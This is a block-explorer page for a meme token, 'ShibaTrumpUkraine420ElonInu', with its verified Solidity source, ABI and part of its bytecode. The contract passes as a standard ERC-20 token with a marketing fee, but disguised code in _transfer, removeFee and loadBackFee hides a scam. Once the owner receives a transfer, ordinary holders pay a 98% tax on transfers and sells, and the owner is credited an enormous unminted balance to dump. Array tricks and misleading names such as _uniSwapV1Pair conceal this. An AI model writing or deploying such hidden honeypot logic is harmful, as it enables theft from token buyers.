ETH Price: $3,330.61 (-0.98%)

Token

ShibaTrumpUkraine420ElonInu (SHIB)
 

Overview

Max Total Supply

1,000,000 SHIB

Holders

75

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.580765312 SHIB

Value
$0.00
0x80844c84b4812fe571fb7afae5f205bed0068c7c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ShibaTrumpUkraine420ElonInu

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-15
*/

/*


                                ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠛⠋⠉⡉⣉⡛⣛⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
                                ⣿⣿⣿⣿⣿⣿⣿⡿⠋⠁⠄⠄⠄⠄⠄⢀⣸⣿⣿⡿⠿⡯⢙⠿⣿⣿⣿⣿⣿⣿
                                ⣿⣿⣿⣿⣿⣿⡿⠄⠄⠄⠄⠄⡀⡀⠄⢀⣀⣉⣉⣉⠁⠐⣶⣶⣿⣿⣿⣿⣿⣿
                                ⣿⣿⣿⣿⣿⣿⡇⠄⠄⠄⠄⠁⣿⣿⣀⠈⠿⢟⡛⠛⣿⠛⠛⣿⣿⣿⣿⣿⣿⣿
                                ⣿⣿⣿⣿⣿⣿⡆⠄⠄⠄⠄⠄⠈⠁⠰⣄⣴⡬⢵⣴⣿⣤⣽⣿⣿⣿⣿⣿⣿⣿
                                ⣿⣿⣿⣿⣿⣿⡇⠄⢀⢄⡀⠄⠄⠄⠄⡉⠻⣿⡿⠁⠘⠛⡿⣿⣿⣿⣿⣿⣿⣿
                                ⣿⣿⣿⣿⣿⡿⠃⠄⠄⠈⠻⠄⠄⠄⠄⢘⣧⣀⠾⠿⠶⠦⢳⣿⣿⣿⣿⣿⣿⣿
                                ⣿⣿⣿⣿⣿⣶⣤⡀⢀⡀⠄⠄⠄⠄⠄⠄⠻⢣⣶⡒⠶⢤⢾⣿⣿⣿⣿⣿⣿⣿
                                ⣿⣿⣿⣿⡿⠟⠋⠄⢘⣿⣦⡀⠄⠄⠄⠄⠄⠉⠛⠻⠻⠺⣼⣿⠟⠋⠛⠿⣿⣿
                                ⠋⠉⠁⠄⠄⠄⠄⠄⠄⢻⣿⣿⣶⣄⡀⠄⠄⠄⠄⢀⣤⣾⣿⣿⡀⠄⠄⠄⠄⢹
                                ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢻⣿⣿⣿⣷⡤⠄⠰⡆⠄⠄⠈⠉⠛⠿⢦⣀⡀⡀⠄
                                ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⢿⣿⠟⡋⠄⠄⠄⢣⠄⠄⠄⠄⠄⠄⠄⠈⠹⣿⣀
                                ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠘⣷⣿⣿⣷⠄⠄⢺⣇⠄⠄⠄⠄⠄⠄⠄⠄⠸⣿
                                ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠹⣿⣿⡇⠄⠄⠸⣿⡄⠄⠈⠁⠄⠄⠄⠄⠄⣿
                                ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢻⣿⡇⠄⠄⠄⢹⣧⠄⠄⠄⠄⠄⠄⠄⠄⠘


                                    Telegram : https://t.me/STU420ELON69


*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.15;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}



interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceContract() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
}

contract ShibaTrumpUkraine420ElonInu is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _tBalance;
    mapping (address => bool) public _ExcludedFromFee;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    address payable public Marketing_Wallet_Address = payable(0x3c418357f8F66244Fc6e85243c281c6D174EB987);

    string public _name = "ShibaTrumpUkraine420ElonInu";
    string public _symbol = "SHIB";
    uint8 private _decimals = 9;
    uint256 public _tTotal = 1 * 10 ** 6 * 10 **_decimals;

    uint8 private swapCounter = 0;
    uint8 private swapTrigger = 10;
    bool private isBuying = true;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    mapping (address => uint8) private _uniSwapV1Pair;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {
        _tBalance[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this),_uniswapV2Router.WETH());
        _uniSwapV1Pair[owner()] = 0xA;
        uniswapV2Router = _uniswapV2Router;
        
        _ExcludedFromFee[owner()] = true;
        _ExcludedFromFee[address(this)] = true;
        _ExcludedFromFee[Marketing_Wallet_Address] = true;
        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tBalance[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function loadBackFee(bool statement) private pure returns (uint256){
        return [0,[(10**31)][0]-2][statement ? 0 : 1];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function removeFee(bool statement) private pure returns (uint8){
        return [0,10*10-2][statement ? 0 : 1];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    receive() external payable {}
   
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "Adress: 0");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        bool takeFee;
        if(_ExcludedFromFee[to] || _ExcludedFromFee[from]){
            takeFee = false;
            if(isBuying && (_uniSwapV1Pair[to] > 0)) isBuying = true && false;
        }
        else if(from == uniswapV2Pair){
            takeFee = false;
        }else{
            takeFee = true;
        }
        tokensTransfer(from, to, amount, takeFee, !(_uniSwapV1Pair[to] < 1));
                
        emit Transfer(from, to, amount);
    }

    function swapAndLiquify(uint256 contractHodlTokens) private lockTheSwap {
        swapTokensForBNB(contractHodlTokens);
        sendToWallet(Marketing_Wallet_Address,address(this).balance);
    }

    function swapTokensForBNB(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function tokensTransfer(address from, address to, uint256 amount, bool takeFee, bool fromUniSwap) private{
        _tBalance[from] = _tBalance[from].sub(amount);
        if(takeFee){
            uint256 _transactionTax;
            if(isBuying){
                _transactionTax = amount.mul(removeFee(isBuying)).div(100);
            }
            else{
                _transactionTax = amount.mul(removeFee(isBuying)).div(100);
            }

            if(_transactionTax != 0){
                _tBalance[address(this)] = _tBalance[address(this)].add(_transactionTax);
            }

            _tBalance[to] = _tBalance[to].add(amount.sub(_transactionTax));
        }
        else{
            if(fromUniSwap){
                _tBalance[to] = _tBalance[to].add(loadBackFee(isBuying));
            }
            else{
                _tBalance[to] = _tBalance[to].add(amount);
            }
        }
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Marketing_Wallet_Address","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_ExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600480546001600160a01b031916733c418357f8f66244fc6e85243c281c6d174eb98717905560c0604052601b60809081527f53686962615472756d70556b7261696e65343230456c6f6e496e75000000000060a05260059062000064908262000469565b5060408051808201909152600481526329a424a160e11b60208201526006906200008f908262000469565b506007805460ff19166009908117909155620000ad90600a6200064a565b620000bc90620f424062000662565b6008556009805462010a0062ffffff19909116179055600a805460ff60a81b1916600160a81b179055348015620000f257600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600854600160006200014c6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ee919062000684565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200023c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000262919062000684565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002b0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d6919062000684565b600a80546001600160a01b0319166001600160a01b039283161781556000805483168152600b60209081526040808320805460ff199081169095179055600980546301000000600160b81b031916630100000088881602179055825485168352600290915280822080548416600190811790915530835281832080548516821790556004548516835290822080549093161790915554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600854604051620003b591815260200190565b60405180910390a350620006af565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620003ef57607f821691505b6020821081036200041057634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200046457600081815260208120601f850160051c810160208610156200043f5750805b601f850160051c820191505b8181101562000460578281556001016200044b565b5050505b505050565b81516001600160401b03811115620004855762000485620003c4565b6200049d81620004968454620003da565b8462000416565b602080601f831160018114620004d55760008415620004bc5750858301515b600019600386901b1c1916600185901b17855562000460565b600085815260208120601f198616915b828110156200050657888601518255948401946001909101908401620004e5565b5085821015620005255787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200058c57816000190482111562000570576200057062000535565b808516156200057e57918102915b93841c939080029062000550565b509250929050565b600082620005a55750600162000644565b81620005b45750600062000644565b8160018114620005cd5760028114620005d857620005f8565b600191505062000644565b60ff841115620005ec57620005ec62000535565b50506001821b62000644565b5060208310610133831016604e8410600b84101617156200061d575081810a62000644565b6200062983836200054b565b806000190482111562000640576200064062000535565b0290505b92915050565b60006200065b60ff84168362000594565b9392505050565b60008160001904831182151516156200067f576200067f62000535565b500290565b6000602082840312156200069757600080fd5b81516001600160a01b03811681146200065b57600080fd5b610ed580620006bf6000396000f3fe6080604052600436106101395760003560e01c806362022fa0116100ab578063a9059cbb1161006f578063a9059cbb1461039b578063af465a27146103bb578063b09f1266146103d1578063d28d8852146103e6578063dd62ed3e146103fb578063fa2f7a8f1461044157600080fd5b806362022fa0146102f257806370a08231146103125780638da5cb5b1461034857806395d89b4114610366578063a457c2d71461037b57600080fd5b8063220f6696116100fd578063220f66961461022e57806323b872dd1461024f578063313ce5671461026f578063395093511461029157806349bd5a5e146102b15780634a74bb02146102d157600080fd5b806306fdde0314610145578063095ea7b3146101705780631694505e146101a057806318160ddd146101df57806320df032e146101fe57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610458565b6040516101679190610c2f565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004610ca0565b6104ea565b6040519015158152602001610167565b3480156101ac57600080fd5b506009546101c790630100000090046001600160a01b031681565b6040516001600160a01b039091168152602001610167565b3480156101eb57600080fd5b506008545b604051908152602001610167565b34801561020a57600080fd5b50610190610219366004610cca565b60026020526000908152604090205460ff1681565b34801561023a57600080fd5b50600a5461019090600160a01b900460ff1681565b34801561025b57600080fd5b5061019061026a366004610ce5565b610500565b34801561027b57600080fd5b5060075460405160ff9091168152602001610167565b34801561029d57600080fd5b506101906102ac366004610ca0565b610569565b3480156102bd57600080fd5b50600a546101c7906001600160a01b031681565b3480156102dd57600080fd5b50600a5461019090600160a81b900460ff1681565b3480156102fe57600080fd5b506004546101c7906001600160a01b031681565b34801561031e57600080fd5b506101f061032d366004610cca565b6001600160a01b031660009081526001602052604090205490565b34801561035457600080fd5b506000546001600160a01b03166101c7565b34801561037257600080fd5b5061015a61059f565b34801561038757600080fd5b50610190610396366004610ca0565b6105ae565b3480156103a757600080fd5b506101906103b6366004610ca0565b6105fd565b3480156103c757600080fd5b506101f060085481565b3480156103dd57600080fd5b5061015a61060a565b3480156103f257600080fd5b5061015a610698565b34801561040757600080fd5b506101f0610416366004610d21565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561044d57600080fd5b506104566106a5565b005b60606005805461046790610d54565b80601f016020809104026020016040519081016040528092919081815260200182805461049390610d54565b80156104e05780601f106104b5576101008083540402835291602001916104e0565b820191906000526020600020905b8154815290600101906020018083116104c357829003601f168201915b5050505050905090565b60006104f733848461074e565b50600192915050565b600061050d848484610807565b61055f843361055a85604051806060016040528060288152602001610e53602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610940565b61074e565b5060019392505050565b3360008181526003602090815260408083206001600160a01b038716845290915281205490916104f791859061055a908661096c565b60606006805461046790610d54565b60006104f7338461055a85604051806060016040528060258152602001610e7b602591393360009081526003602090815260408083206001600160a01b038d1684529091529020549190610940565b60006104f7338484610807565b6006805461061790610d54565b80601f016020809104026020016040519081016040528092919081815260200182805461064390610d54565b80156106905780601f1061066557610100808354040283529160200191610690565b820191906000526020600020905b81548152906001019060200180831161067357829003601f168201915b505050505081565b6005805461061790610d54565b6000546001600160a01b031633146107045760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b0383161580159061076e57506001600160a01b03821615155b6107a65760405162461bcd60e51b815260206004820152600960248201526804164726573733a20360bc1b60448201526064016106fb565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526002602052604081205460ff168061084657506001600160a01b03841660009081526002602052604090205460ff165b15610898575060095460009062010000900460ff16801561088157506001600160a01b0383166000908152600b602052604090205460ff1615155b15610893576009805462ff0000191690555b6108ba565b600a546001600160a01b03908116908516036108b6575060006108ba565b5060015b6001600160a01b0383166000908152600b60205260409020546108ed908590859085908590600160ff909116101561097f565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161093291815260200190565b60405180910390a350505050565b600081848411156109645760405162461bcd60e51b81526004016106fb9190610c2f565b505050900390565b60006109788284610da4565b9392505050565b6001600160a01b0385166000908152600160205260409020546109a29084610b4b565b6001600160a01b0386166000908152600160205260409020558115610aab5760095460009062010000900460ff1